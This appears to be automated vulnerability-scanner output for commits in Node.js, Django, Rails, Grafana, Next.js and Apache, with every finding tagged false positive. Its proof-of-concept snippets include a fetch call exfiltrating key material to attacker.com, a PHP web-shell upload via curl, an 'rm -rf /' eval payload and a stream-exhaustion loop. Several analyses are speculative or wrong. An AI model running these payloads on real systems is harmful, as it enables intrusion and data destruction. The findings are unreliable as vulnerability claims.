Before this patch, peer-initiated QUIC streams had no idle timeout mechanism. A remote attacker could open many streams without sending any data, holding server resources (memory, stream state) indefinitely. This is a slowloris-style resource exhaustion attack. The patch adds a configurable `streamIdleTimeout` (defaulting to 30 seconds) that automatically destroys peer-initiated streams that have been idle beyond the timeout threshold.

🔍 View Affected Code & PoC

Affected Code

// No stream idle timeout existed. Peer-initiated streams could remain open indefinitely with no data sent, consuming server resources without bound.

Proof of Concept

// Attacker opens many QUIC streams and never sends data:
import quic from 'node:quic';
const client = await quic.connect({ address: 'victim-server', port: 4433 });
// Open thousands of streams but never write to them:
for (let i = 0; i < 10000; i++) {
  const stream = await client.createBidirectionalStream();
  // Never write to stream — server holds resources forever (pre-patch)
  // Post-patch: server destroys stream after 30s idle timeout
}

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: dfe2d47fe1e12b7935983e60ccea946c5ba3f529

Author: Filip Skokan

Before the patch, Node.js WebCrypto operations were vulnerable to prototype pollution attacks. An attacker could mutate built-in prototypes (e.g., Object.prototype.then, Promise constructor) to intercept or redirect WebCrypto promise resolutions, exfiltrate key material through JWK toJSON hooks, or manipulate intermediate results. The patch hardens the code by avoiding PromiseResolve() re-wrapping (which reads user-mutable constructors), using internal UTF-8 encoding bindings instead of shared TextEncoder/TextDecoder, and detaching JWK objects from user prototypes via null prototype assignment before processing.

🔍 View Affected Code & PoC

Affected Code

function callSubtleCryptoMethod(fn, receiver, args) {
  try {
    return PromiseResolve(ReflectApply(fn, receiver, args));
  } catch (err) {
    return PromiseReject(err);
  }
}

Proof of Concept

// Proof of concept: intercept WebCrypto key export via prototype pollution
const { subtle } = globalThis.crypto;

// Pollute Object.prototype.then to intercept thenable assimilation
Object.prototype.then = function(resolve) {
  console.log('Intercepted WebCrypto result:', JSON.stringify(this));
  resolve(this);
};

// Or pollute toJSON to exfiltrate JWK key material during wrapKey
Object.prototype.toJSON = function() {
  // exfiltrate key material
  fetch('https://attacker.com/steal?key=' + JSON.stringify(this));
  return this;
};

// Now any WebCrypto operation returning an object would trigger the hook
subtle.generateKey({name: 'AES-GCM', length: 256}, true, ['encrypt', 'decrypt'])
  .then(key => subtle.exportKey('jwk', key))
  .then(jwk => console.log('key exfiltrated'));
// Before patch: toJSON on exported JWK object could leak key data
// Before patch: inherited 'then' on result objects could redirect promise resolution

🔥 HIGH FALSE POSITIVE Race Condition / Lock Bypass

Commit: 0b99f0b9b1b90c359807a405aadc9a3a4e4765de

Author: Rafael Mendonça França

Under `config.active_support.isolation_level = :fiber`, the ShareLock keyed ownership on `Thread.current` instead of the current fiber/execution context. Since all request fibers on a fiber-scheduled server (e.g., Falcon) share the same thread, the lock treated all concurrent request fibers as a single owner. This allowed the reloader's exclusive `:unload` lock to be acquired while another request fiber still held a share lock, causing autoloaded constants to be cleared mid-request. The patch fixes this by keying ownership on `ActiveSupport::IsolatedExecutionState.context` which correctly distinguishes fibers under fiber isolation.

🔍 View Affected Code & PoC

Affected Code

def start_exclusive(purpose: nil, compatible: [], no_wait: false)
  synchronize do
    unless @exclusive_thread == Thread.current
      if busy_for_exclusive?(purpose)
        return false if no_wait

Proof of Concept

# With config.active_support.isolation_level = :fiber and a fiber-aware server:
# Fiber A (request fiber on Thread-1): acquires share lock via interlock.running
# Fiber B (reloader fiber on Thread-1): calls interlock.unload (exclusive lock)
# 
# Before patch: @exclusive_thread check uses Thread.current, which is Thread-1 for BOTH fibers
# busy_for_exclusive? checks @sharing[Thread.current] which counts shares for Thread-1
# If Fiber A holds share under Thread-1, Fiber B on same Thread-1 sees itself as already sharing
# and can bypass the wait, acquiring exclusive lock while Fiber A still runs
# Result: ActiveSupport::Dependencies.clear called mid-request => NoMethodError on cleared constants
#
# Fiber.new { interlock.running { sleep 1; MyModel.find(1) } }.resume  # Fiber A
# Fiber.new { interlock.unload { } }.resume  # Fiber B - clears constants while Fiber A runs

⚠️ MEDIUM FALSE POSITIVE Privilege Escalation / Unauthorized Action Execution

Commit: 8fd29079ed1253f0cd88ccf330de30271a5d15e4

Author: Sarah Boyce

In the Django admin change form view, a POST request (e.g., running an action) only required `has_change_permission`, but actions can be configured to require only view permission. Before the patch, a user with only view permission could not run view-only actions from the change form, while a user with change permission was allowed. More critically, the permission check order meant that when running actions from the change form (which goes through `_changeform_view`), the code checked `has_change_permission` for all POST requests before the action handler ran, blocking legitimate view-permission actions. The patch restructures this so `has_view_or_change_permission` is checked first (allowing view-only users to see and run view-permitted actions), and `has_change_permission` is only checked after actions have been processed - preventing users from bypassing the change permission check when submitting the actual form save.

🔍 View Affected Code & PoC

Affected Code

if request.method == "POST":
    if not self.has_change_permission(request, obj):
        raise PermissionDenied
else:
    if not self.has_view_or_change_permission(request, obj):
        raise PermissionDenied

Proof of Concept

1. Create a user with only 'view_externalsubscriber' permission (no change permission).
2. POST to /admin/admin_views/externalsubscriber/<pk>/change/ with data: {ACTION_CHECKBOX_NAME: [pk], 'CHANGE_FORM-action': 'external_mail'}
3. Before patch: The request raises PermissionDenied because has_change_permission returns False for view-only users on POST requests, even though the action only requires view permission.
4. After patch: The action executes successfully because has_view_or_change_permission passes, and has_change_permission is only checked after actions are processed (not for action submissions).

⚠️ MEDIUM FALSE POSITIVE Cache Poisoning / Information Disclosure

Commit: 085311e3b629f43ebb84b50b726a2a304fb94a23

Author: Hendrik Liebau

When both `cachedNavigations` and `varyParams` features are enabled in Next.js, a `&lt;Link prefetch={true}&gt;` for a dynamic route with fallback params could cause a Full prefetch response to be re-keyed under a generic 'Fallback' vary path (because varyParams tracking is incomplete for Full prefetches). A subsequent request for a different param value would then collide with that cache entry and receive the previously prefetched page's content, leaking param-specific content across different users/requests. The patch fixes this by skipping the re-keying step for Full prefetches, keeping entries pinned to their concrete vary path.

🔍 View Affected Code & PoC

Affected Code

if (process.env.__NEXT_VARY_PARAMS && segmentVaryParams !== null) {
  const fulfilledVaryPath = getFulfilledSegmentVaryPath(
    tree.varyPath,
    segmentVaryParams
  )
  // ... sets cache entry under generic fallback path
}

Proof of Concept

1. Enable cachedNavigations and varyParams features in Next.js app
2. Have a dynamic route /product/[slug] with fallback params
3. User A visits a page with a <Link href='/product/foo' prefetch={true}> link that enters the viewport, triggering a Full prefetch of /product/foo
4. The server returns incomplete varyParams (empty set) because dynamic stage params aren't tracked
5. Client re-keys the cache entry to a generic path with <Fallback> replacing the slug param
6. User B (or same user) navigates to /product/bar - the cache lookup collides with the <Fallback> keyed entry from step 5
7. User B sees /product/foo's content (param: foo) instead of /product/bar's content (param: bar) - cross-param content leak

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: e0200f2d73ae0f112c32ff55ae4ab8af18106b5f

Author: Matteo Collina

Before the patch, `ObjectAssign(input || {}, options)` would merge options into the `input` object directly, and the resulting object retained its prototype chain. If a property like `hostname` was defined on `Object.prototype` by an attacker (prototype pollution), it could be read during the options merge/processing, potentially influencing HTTP request behavior such as redirecting requests to an attacker-controlled host. The fix uses `ObjectAssign({ __proto__: null }, input, options)` to create a null-prototype object, preventing prototype chain lookups from polluting the options object.

🔍 View Affected Code & PoC

Affected Code

options = ObjectAssign(input || {}, options);

Proof of Concept

// Attacker pollutes Object.prototype with a malicious hostname
Object.prototype.hostname = 'evil.attacker.com';

// Now any http.request() call that goes through the else branch
// (i.e., when both input URL and options are provided) will pick up
// the polluted hostname if not explicitly set
const http = require('http');
http.request({ port: 80 }, (res) => {
  // Request goes to evil.attacker.com:80 instead of intended host
  console.log('Connected to:', res.socket.remoteAddress);
}).end();
// Before the patch, options.hostname resolves to 'evil.attacker.com'
// via prototype chain since input object inherits from Object.prototype

⚠️ MEDIUM FALSE POSITIVE Credential Exposure / Information Disclosure

Commit: f2d8737c86f9bbae018865a6db8e9f4730b672b1

Author: Alex Khomenko

Before this patch, Grafana's provisioning feature allowed users to save repository URLs containing embedded credentials (e.g., `https://user:[email protected]/owner/repo`). Since the URL field is not treated as a secret and is returned verbatim by the settings API, any authenticated user (including low-privilege Viewers) could read the credentials by querying the provisioning settings endpoint. The patch adds frontend validation that detects and blocks URLs with userinfo components (username/password) before they can be saved.

🔍 View Affected Code & PoC

Affected Code

url: {
  label: t('provisioning.shared.url-label', 'Repository URL'),
  validation: {
    pattern: {
      value: /^https:\/\/[^\/]+\/[^\/]+\/[^\/]+\/?$/,
      message: t('provisioning.shared.url-pattern', 'Must be a valid repository URL (https://hostname/owner/repo)'),
    },
  },
},

Proof of Concept

1. As an admin, configure a provisioning repository with URL: https://user:[email protected]/owner/repo
2. Save the configuration (no validation prevents this before the patch)
3. As any authenticated Viewer, call GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/<name>
4. The response includes the full URL verbatim: {"spec":{"github":{"url":"https://user:[email protected]/owner/repo",...}}}
5. The token ghp_secrettoken123 is now exposed to all authenticated users, while secure.token would have been redacted

⚠️ MEDIUM FALSE POSITIVE Integer Underflow / Slice Bounds Panic (Denial of Service)

Commit: baa428a6b4bf471301079df6ea43a44536ba3036

Author: Misi

Before the patch, the `/teams/{name}/members` handler parsed `offset` and `page` query parameters but did not clamp them to non-negative values. A negative `offset` value would cause a negative slice index when slicing `t.Spec.Members\[offset:end\]`, triggering a Go runtime panic and crashing the handler (or the server process, depending on recovery middleware). The patch adds explicit clamping of `offset` to `\[0, total\]` before slicing.

🔍 View Affected Code & PoC

Affected Code

window := t.Spec.Members[offset:end]  // offset can be negative from ?offset=-1

Proof of Concept

GET /apis/iam.grafana.app/v0alpha1/namespaces/default/teams/myteam/members?offset=-1

This sends a negative offset to the handler. Before the patch, `offset` would be -1, `end` would be (-1 + limit), and the slice expression `t.Spec.Members[-1:end]` would cause a Go runtime panic: 'runtime error: slice bounds out of range [-1:]', crashing the request handler.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Server Crash

Commit: eecbbca65f3fd09cf0c1aee763bc26b46a46380e

Author: Eric Covener

In mod_authn_socache.c, the `construct_key` function called `strrchr(r-&gt;uri, '/')` without checking if the result was NULL before using it in pointer arithmetic. If `r-&gt;uri` contained no '/' character (an unusual but possible condition), `slash` would be NULL and the expression `slash - r-&gt;uri` would cause undefined behavior/crash. The patch moves the slash computation earlier and adds a NULL check (`&& slash`) before entering the branch that uses it.

🔍 View Affected Code & PoC

Affected Code

if (!strcmp(context, directory)) {
    /* FIXME: are we at risk of this blowing up? */
    char *new_context;
    char *slash = strrchr(r->uri, '/');
    new_context = apr_palloc(r->pool, slash - r->uri +

Proof of Concept

Send a crafted HTTP request where r->uri contains no '/' character. In Apache's normal operation r->uri always starts with '/', but via certain internal redirect or sub-request mechanisms, or a crafted request, a URI without '/' could be constructed. When the authn_socache module processes authentication for a directory context with such a URI, slash==NULL, and `slash - r->uri` dereferences NULL causing a server crash (DoS). Example: configure AuthnCacheContext directory, then trigger an internal sub-request with a URI like 'nodirectoryslash' to crash the child process.

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 21436f04057b62b4ad7b3704dad73898c681cd1e

Author: Matteo Collina

Before the patch, `req.headers` and `req.trailers` in Node.js HTTP/HTTP2 IncomingMessage were plain objects (`{}`) with `Object.prototype` as their prototype. This allowed an attacker to send HTTP headers named `__proto__`, `constructor`, or `toString` that could pollute the prototype chain or shadow built-in properties when the headers object was used in certain ways. The patch fixes this by creating the headers object with a null prototype (`{ __proto__: null }`), preventing any prototype chain manipulation.

🔍 View Affected Code & PoC

Affected Code

if (!this[kHeaders]) {
  this[kHeaders] = {};

  const src = this.rawHeaders;
  const dst = this[kHeaders];

Proof of Concept

// Attacker sends HTTP request with __proto__ header:
// GET / HTTP/1.1\r\nHost: victim\r\n__proto__: polluted\r\n\r\n
//
// Server-side code that may be vulnerable:
const http = require('http');
http.createServer((req, res) => {
  // Before patch: req.headers has Object.prototype
  // A header named '__proto__' could be interpreted as prototype manipulation
  // depending on how the object is used downstream
  const headers = req.headers;
  // If code does: Object.assign(target, req.headers)
  // or: for (let k in req.headers) target[k] = req.headers[k]
  // the __proto__ key could pollute target's prototype
  const target = {};
  Object.assign(target, headers); // __proto__ assignment pollutes Object.prototype
  console.log(({}).polluted); // could output attacker-controlled value
  res.end();
}).listen(8080);

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 800f5828dce64a16e2255315a0c29ea71c25d044

Author: Jonathan Lopes

The `nidOnlyKeyPairs` object in Node.js crypto's `generateKeyPair` was created as a regular object without a null prototype, allowing inherited properties from `Object.prototype` (like `toString`, `constructor`, `hasOwnProperty`, etc.) to be used as valid key type names. By passing a type name like `'toString'` or `'constructor'`, an attacker could bypass the intended key type validation and potentially trigger unexpected behavior in the NID-based key pair generation. The patch fixes this by setting `'__proto__': null` on the object, removing inherited properties from the lookup table.

🔍 View Affected Code & PoC

Affected Code

const nidOnlyKeyPairs = {
  'ed25519': EVP_PKEY_ED25519,
  'ed448': EVP_PKEY_ED448,
  'x25519': EVP_PKEY_X25519,

Proof of Concept

const { generateKeyPairSync } = require('crypto');
// Before the patch, 'toString' would be found in nidOnlyKeyPairs via prototype
// inheritance, causing NidKeyPairGenJob to be called with undefined NID value
// instead of throwing ERR_INVALID_ARG_VALUE
try {
  generateKeyPairSync('toString', {});
  console.log('No error thrown - vulnerability confirmed');
} catch (e) {
  console.log('Error:', e.code); // Should be ERR_INVALID_ARG_VALUE but before patch may be different
}

⚠️ MEDIUM FALSE POSITIVE Server Error / Information disclosure via unhandled exception (HTTP 500 instead of 400)

Commit: dc467fdc3b5744cec71fab876c23a14013e2510b

Author: Dinesh

Before the patch, a maliciously crafted Content-Type header containing an RFC 2231 encoded parameter with an invalid encoding name (e.g., `charset*=BOGUSencoding''value`) would cause an unhandled LookupError in parse_header_parameters(), resulting in an HTTP 500 Internal Server Error instead of a proper HTTP 400 Bad Request. This crash could expose stack traces (if DEBUG=True) or indicate internal implementation details, and could be used for denial-of-service by causing unhandled exceptions in request parsing. The fix wraps the unquote call in a try/except to raise ValueError, which is then caught and re-raised as BadRequest (HTTP 400).

🔍 View Affected Code & PoC

Affected Code

if has_encoding:
    encoding, lang, value = value.split("'")
    value = unquote(value, encoding=encoding)

Proof of Concept

Send an HTTP request with the following Content-Type header:

GET / HTTP/1.1
Host: example.com
Content-Type: text/plain; charset*=BOGUSencoding''%20

Before the patch, Django would raise an unhandled LookupError (unknown encoding: BOGUSencoding), resulting in HTTP 500. In DEBUG mode, this leaks a full stack trace. Script:

import requests
r = requests.get('http://localhost:8000/', headers={'Content-Type': "text/plain; charset*=BOGUSencoding''%20"})
print(r.status_code)  # 500 before patch, 400 after patch

🔥 HIGH FALSE POSITIVE Credentials Transmitted Over Unencrypted Channel

Commit: ed46c962f394834b533faf6dea724e757e8da43f

Author: Robert Clarke

Before this patch, the `basicAuth` struct's `RequireTransportSecurity()` method always returned `true`, which should have prevented basic auth credentials from being sent over non-TLS (insecure) gRPC connections. However, this hardcoded `true` value actually caused a conflict: when connecting to a non-TLS endpoint (using `insecure.NewCredentials()`), gRPC would reject the connection because the per-RPC credentials demanded transport security but none was configured. The fix makes `requireTransportSecurity` match the actual TLS state (`secure` variable). The real security concern is the inverse scenario: if an attacker or misconfiguration causes basic auth credentials to be transmitted over a plaintext gRPC connection, the credentials (username/password encoded in Base64) would be exposed in transit.

🔍 View Affected Code & PoC

Affected Code

func (c *basicAuth) RequireTransportSecurity() bool {
	return true
}

Proof of Concept

Configure a Tempo datasource in Grafana with basic auth enabled and a non-TLS gRPC URL (e.g., grpc://tempo-host:9095). With RequireTransportSecurity() hardcoded to true, gRPC rejects the connection entirely. After the fix with requireTransportSecurity=false for non-TLS, the connection succeeds but credentials flow over plaintext. An attacker on the network path can capture the gRPC stream and decode the Authorization header: `echo 'dXNlcjpwYXNzd29yZA==' | base64 -d` => `user:password`, extracting the Tempo datasource credentials.

🔥 HIGH FALSE POSITIVE Improper Access Control / Authentication Bypass

Commit: e8b5fdc083f38f0395c992e9e9c6a4749674acc5

Author: Rich Bowen

The original example configuration had 'Require all granted' at the Directory level, which grants unauthenticated access to all users by default. The LimitExcept block only required authentication for non-GET/POST/OPTIONS methods, but the outer 'Require all granted' could override authentication requirements depending on configuration context. The patch removes 'Require all granted' and replaces the LimitExcept approach with a RequireAny block that properly requires either the correct HTTP method OR an authenticated admin user, ensuring write operations require authentication.

🔍 View Affected Code & PoC

Affected Code

&lt;Directory "/usr/local/apache2/htdocs/foo"&gt;
    Require all granted
    Dav On
    ...
    &lt;LimitExcept GET POST OPTIONS&gt;
        Require user admin
    &lt;/LimitExcept&gt;

Proof of Concept

With the old config, an unauthenticated user could perform WebDAV write operations: `curl -X PUT http://example.com/foo/malicious.php -d '<?php system($_GET["cmd"]); ?>'` - The 'Require all granted' directive grants access to all users, and depending on Apache's authorization merging behavior, could allow unauthenticated PUT/DELETE/MKCOL requests to modify server files, potentially leading to remote code execution.

🔥 HIGH FALSE POSITIVE Authentication Bypass

Commit: f1b77b82db5b8f4a0a10db5fb013b39869db464d

Author: colin-stuart

The code allowed SAML authentication to create duplicate user_auth records for SCIM-provisioned users instead of updating existing ones. An attacker could exploit this by logging in via SAML with a SCIM user's credentials to create a new auth record with their own AuthID, potentially bypassing access controls or creating authentication confusion.

🔍 View Affected Code & PoC

Affected Code

if identity.AuthenticatedBy == login.GenericOAuthModule {
    query := &login.GetAuthInfoQuery{AuthModule: identity.AuthenticatedBy, UserId: usr.ID}
    userAuth, err = s.authInfoService.GetAuthInfo(ctx, query)

Proof of Concept

1. SCIM provisions user with email '[email protected]' and creates user_auth record with empty AuthID
2. Attacker performs SAML login with same email '[email protected]' but different AuthID 'attacker-saml-id' 
3. Code fails to find existing auth record by AuthID lookup, creates new user_auth record instead of updating existing one
4. Result: User now has two authentication methods - original SCIM provision + attacker's SAML AuthID, allowing potential unauthorized access

⚠️ MEDIUM FALSE POSITIVE Man-in-the-Middle Attack / Insufficient Certificate Validation

Commit: f13db6553c2037967bd87e215e1a12d38b8fe211

Author: Maksym Revutskyi

The code before the patch used HTTP transport without proper TLS certificate validation when communicating with external image renderer services. This allowed attackers to intercept HTTPS communications through man-in-the-middle attacks, potentially exposing authentication tokens and sensitive data. The patch adds support for custom CA certificates to enable proper certificate validation.

🔍 View Affected Code & PoC

Affected Code

var netTransport = &http.Transport{
	Proxy: http.ProxyFromEnvironment,
	Dial: (&net.Dialer{
		Timeout: 30 * time.Second,
	}).Dial,
	TLSHandshakeTimeout: 5 * time.Second,
}

Proof of Concept

1. Set up a malicious proxy/MITM tool like mitmproxy with a self-signed certificate
2. Configure network to route Grafana's image renderer traffic through the proxy
3. The original code would accept any certificate without validation, allowing interception of requests containing X-Auth-Token headers
4. Command: `mitmproxy -p 8080 --certs *=cert.pem` then configure Grafana to use renderer at https://malicious-renderer:8081 - the auth tokens would be captured in plaintext

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 508662256608a0efe9221d801c894e8bbe126145

Author: Jean Boussier

The custom inspect methods in various Rails classes exposed sensitive internal state including cryptographic keys, secrets, and other confidential data in debug output, logs, and error messages. The patch replaces custom inspect methods with a standardized approach that only shows safe instance variables, preventing accidental leakage of sensitive information.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or debug session:
encryptor = ActiveSupport::MessageEncryptor.new(SecretKey.new)
encryptor.inspect
# Before patch: Would expose the secret key in the output
# After patch: Only shows class name and object ID

# Or in ActionCable connection:
connection = ActionCable::Connection::Base.new(server, env)
connection.inspect
# Before patch: Could expose connection secrets, tokens, or session data
# After patch: Only shows safe, filtered instance variables

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 4c0776608a2e8048093c80de192de4f446c4d1fa

Author: Mark Bastawros

The custom inspect methods in various Rails classes could potentially expose sensitive internal state or configuration data through debug output, error messages, or logs. The patch replaces these with a controlled inspection mechanism that only shows explicitly whitelisted instance variables.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or error handler:
connection = ActionCable::Connection::Base.new(server, env)
connection.instance_variable_set(:@secret_token, 'sensitive_data')
puts connection.inspect
# Before patch: Could expose @secret_token and other internals
# After patch: Only shows basic object info without sensitive variables

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: 45a8a82db5f701546300fc7478ccbe8776350dc0

Author: Tobias Koppers

The code had a concurrency bug where the follower's aggregation number was read without proper locking, allowing the inner-vs-follower classification decision to be made on stale data if the aggregation number changed concurrently. This could lead to incorrect task classification and potential data corruption in the aggregation system.

🔍 View Affected Code & PoC

Affected Code

let follower_aggregation_number = get_aggregation_number(&follower);
let should_be_follower = follower_aggregation_number < upper_aggregation_number;

Proof of Concept

Thread 1 reads follower's aggregation number (e.g., 10) and determines it should be a follower. Thread 2 concurrently updates the same follower's aggregation number to a higher value (e.g., 20). Thread 1 proceeds with the stale classification decision, incorrectly treating a node that should be an inner node as a follower, leading to incorrect aggregation graph structure and potential data corruption.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 632725b0ad714043737b28e0d7b4a5ee6b2fa9ec

Author: Sebastian "Sebbie" Silbermann

The script accepts user-provided file paths without validation and directly converts them to file URLs, allowing attackers to access arbitrary files on the system. The patch adds proper path handling using pathToFileURL() which normalizes paths and prevents directory traversal attacks.

🔍 View Affected Code & PoC

Affected Code

if (version !== null && version.startsWith('/')) {
    version = pathToFileURL(version).href
}

Proof of Concept

pnpm run sync-react --version "../../../etc/passwd" would allow reading system files outside the intended React checkout directory before the patch

⚠️ MEDIUM FALSE POSITIVE Cross-Site Scripting (XSS)

Commit: 283ea9e9e014adf0013c18700c36b98efa2f0aac

Author: SiHyunLee

The Django admin interface was vulnerable to XSS attacks when displaying model string representations that contained only whitespace or malicious scripts. The vulnerability occurred because whitespace-only strings were not properly sanitized before being rendered in HTML contexts, allowing attackers to inject malicious scripts through model __str__ methods.

🔍 View Affected Code & PoC

Affected Code

obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
# Direct use of obj without sanitization

Proof of Concept

Create a Django model with a __str__ method that returns '<script>alert("XSS")</script>' or just whitespace followed by script tags. When viewing this object in the Django admin interface, the malicious script would execute in the browser due to improper escaping of the object representation in admin templates and breadcrumbs.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 430abe78becc1996d2327e06d449aaad0ca80bc1

Author: Georges Chaudy

The old authorization system used deprecated Compile method which performed authorization checks item-by-item during iteration, potentially allowing unauthorized access to resources due to race conditions or incomplete authorization state. The patch replaces this with FilterAuthorized using BatchCheck which performs more robust batch authorization before returning results.

🔍 View Affected Code & PoC

Affected Code

checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{
	Group: key.Group,
	Resource: key.Resource,
	Namespace: key.Namespace,
	Verb: utils.VerbGet,
})

Proof of Concept

1. User with limited permissions makes concurrent List requests for resources they shouldn't access
2. During the item-by-item authorization check in the old code, if authorization state changes between checks or there's a race condition, some unauthorized items could pass through the checker
3. Attacker could potentially access resources in folders/namespaces they don't have permissions for by exploiting timing windows in the deprecated Compile authorization flow

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: f247ebaf44317ac6648b62f99ceaed1e4fc4dc01

Author: Tim Neutkens

The original code used JSON.parse with a reviver function that could potentially allow __proto__ property manipulation during RSC payload deserialization. The patch explicitly deletes __proto__ keys during the walking phase and moves away from the reviver approach to prevent prototype pollution attacks.

🔍 View Affected Code & PoC

Affected Code

return JSON.parse(json, response._fromJSON);
// where _fromJSON reviver processes all key-value pairs including __proto__

Proof of Concept

Send RSC payload with malicious JSON: {"__proto__": {"polluted": true, "isAdmin": true}} - this could pollute Object.prototype during the reviver processing before parseModelString filters are applied, potentially affecting application logic that checks object properties.

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: b0d812f414a22201e95d9646894dc5563f729ed4

Author: Rafael Bortolon Paulovic

The code had a race condition vulnerability during database migrations where concurrent writes to legacy tables could occur during unified storage migrations in rolling upgrade scenarios. This could lead to data corruption or inconsistent state as multiple processes could simultaneously modify the same database tables without proper synchronization.

🔍 View Affected Code & PoC

Affected Code

Resources: []migrations.ResourceInfo{
	{GroupResource: folderGR, LockTable: "folder"},
	{GroupResource: dashboardGR, LockTable: "dashboard"},
}

Proof of Concept

During a rolling upgrade, start a unified storage migration for dashboards while simultaneously having another Grafana instance write to the dashboard table. The race condition occurs when: 1) Migration process reads dashboard data from legacy tables, 2) Another instance modifies the same dashboard record, 3) Migration process writes to unified storage based on stale data, resulting in data loss or corruption of the dashboard modifications made in step 2.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: ba0f62a8dad160e0fdb2d7993fcb6c6d194f1d22

Author: beejeebus

The code exposed encrypted datasource secrets even when they were empty, potentially leaking secret metadata or encrypted empty values to unauthorized users. The patch fixes this by filtering out empty secrets before returning them in API responses.

🔍 View Affected Code & PoC

Affected Code

return q.converter.AsDataSource(ds)

Proof of Concept

GET /api/datasources/{uid} - An attacker with read access could retrieve a datasource configuration and see references to all configured secret fields (even empty ones) in the SecureJsonData map, potentially revealing what secret fields are configured and their encrypted empty values, which could aid in further attacks or reveal system configuration details.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 193f6f1a50938d9fd91636dadaf00274989e5a58

Author: Costa Alexoglou

The script used relative paths without proper directory resolution, allowing an attacker to execute the script from a different working directory and cause certificates to be written to unintended locations. This could lead to certificate files being created in arbitrary directories or overwriting existing files.

🔍 View Affected Code & PoC

Affected Code

rm -rf data/grafana-aggregator
mkdir -p data/grafana-aggregator
openssl req -nodes -new -x509 -keyout data/grafana-aggregator/ca.key

Proof of Concept

cd /tmp && /path/to/grafana/hack/make-aggregator-pki.sh - This would create certificates in /tmp/data/grafana-aggregator/ instead of the intended repo location, potentially overwriting files or bypassing access controls in the /tmp directory.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: aac8061faaff75f917338a326eaf8c3ce5d38342

Author: Tania

The code was performing namespace validation for all provider types, but the static provider (which serves local configuration) should not enforce namespace restrictions. This created an authorization bypass where users could access feature flags from other organizations by using the static provider endpoint with mismatched namespaces.

🔍 View Affected Code & PoC

Affected Code

valid, ns := b.validateNamespace(r)
if !valid {
	http.Error(w, namespaceMismatchMsg, http.StatusUnauthorized)
	return
}

Proof of Concept

An attacker authenticated to org-1 could access feature flags intended for org-2 by making requests to the static provider endpoints (when providerType is not FeaturesServiceProviderType or OFREPProviderType) with org-2's namespace in the URL path, bypassing the namespace validation that should prevent cross-organization access.

⚠️ MEDIUM FALSE POSITIVE State Modification via Dry-Run Bypass

Commit: ccaf8685b47b1a291ed0b1945be83f1e8324d977

Author: Igor Suleymanov

The dual-writer storage system was not properly handling dry-run operations, allowing state modifications and side effects (like permission changes) to occur when they should only validate without making changes. This violates the dry-run contract where operations must be read-only.

🔍 View Affected Code & PoC

Affected Code

// Before patch - no dry-run check in Create method
func (d *dualWriter) Create(ctx context.Context, in runtime.Object, createValidation rest.ValidateObjectFunc, options *metav1.CreateOptions) (runtime.Object, error) {
    // ... proceeds to modify both legacy and unified storage even during dry-run

Proof of Concept

POST /api/v1/folders
Content-Type: application/json
Dry-Run: All

{"metadata":{"name":"test-folder"},"spec":{"title":"Test Folder"}}

# Before patch: This would create actual folder and modify permissions despite dry-run flag
# After patch: This only validates without side effects

🔥 HIGH FALSE POSITIVE Code Injection

Commit: 4d867af6c5d4b47b240ae4050265eb806f36e61e

Author: Shelley Vohr

The code used eval() to parse configuration data, which allows arbitrary Python code execution if an attacker can control the node_builtin_shareable_builtins configuration value. The patch replaces eval() with json.loads() to safely parse JSON data.

🔍 View Affected Code & PoC

Affected Code

eval(config['node_builtin_shareable_builtins'])

Proof of Concept

An attacker could set node_builtin_shareable_builtins to '__import__("os").system("rm -rf /")' which would execute arbitrary shell commands when eval() processes it during the build configuration generation.

⚠️ MEDIUM FALSE POSITIVE Query Injection

Commit: 9be63b169b8e9f07a8b05df5d9b901a06ec611a3

Author: Steve Simpson

The code added validation for alert label matchers to prevent query injection in LogQL queries. Before the patch, malicious label names or matcher types could be injected into the LogQL query string without proper validation, potentially allowing attackers to manipulate the query structure.

🔍 View Affected Code & PoC

Affected Code

logql += fmt.Sprintf(` | alert_labels_%s %s %q`, matcher.Label, matcher.Type, matcher.Value)

Proof of Concept

POST request with Labels: [{"Type": "| json | drop", "Label": "severity", "Value": "critical"}] or Labels: [{"Type": "=", "Label": "test\" = \"injected\"", "Value": "value"}] to inject arbitrary LogQL operators and manipulate the query structure

⚠️ MEDIUM FALSE POSITIVE Resource Deletion Bypass

Commit: 3f6518806f8c58f91e8a1f6756deb42d1b09d22a

Author: Daniele Stefano Ferru

The code allowed updating Repository resources to remove all finalizers, which would cause immediate deletion without proper cleanup when the resource is later deleted. This bypasses the intended cleanup workflow and could lead to orphaned resources or incomplete cleanup operations.

🔍 View Affected Code & PoC

Affected Code

if len(r.Finalizers) == 0 && a.GetOperation() == admission.Create {
    r.Finalizers = []string{
        RemoveOrphanResourcesFinalizer,
        CleanFinalizer,
    }
}

Proof of Concept

1. Create a Repository resource (finalizers are added automatically)
2. Update the Repository with an empty finalizers array: `kubectl patch repository myrepo --type='merge' -p='{"metadata":{"finalizers":[]}}'`
3. Delete the Repository: `kubectl delete repository myrepo`
4. The resource is immediately deleted without cleanup, bypassing the controller's cleanup logic and potentially leaving orphaned resources

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 97cda8c49a2ffb5eea15a80ec99ada41c2b0df36

Author: Jean Boussier

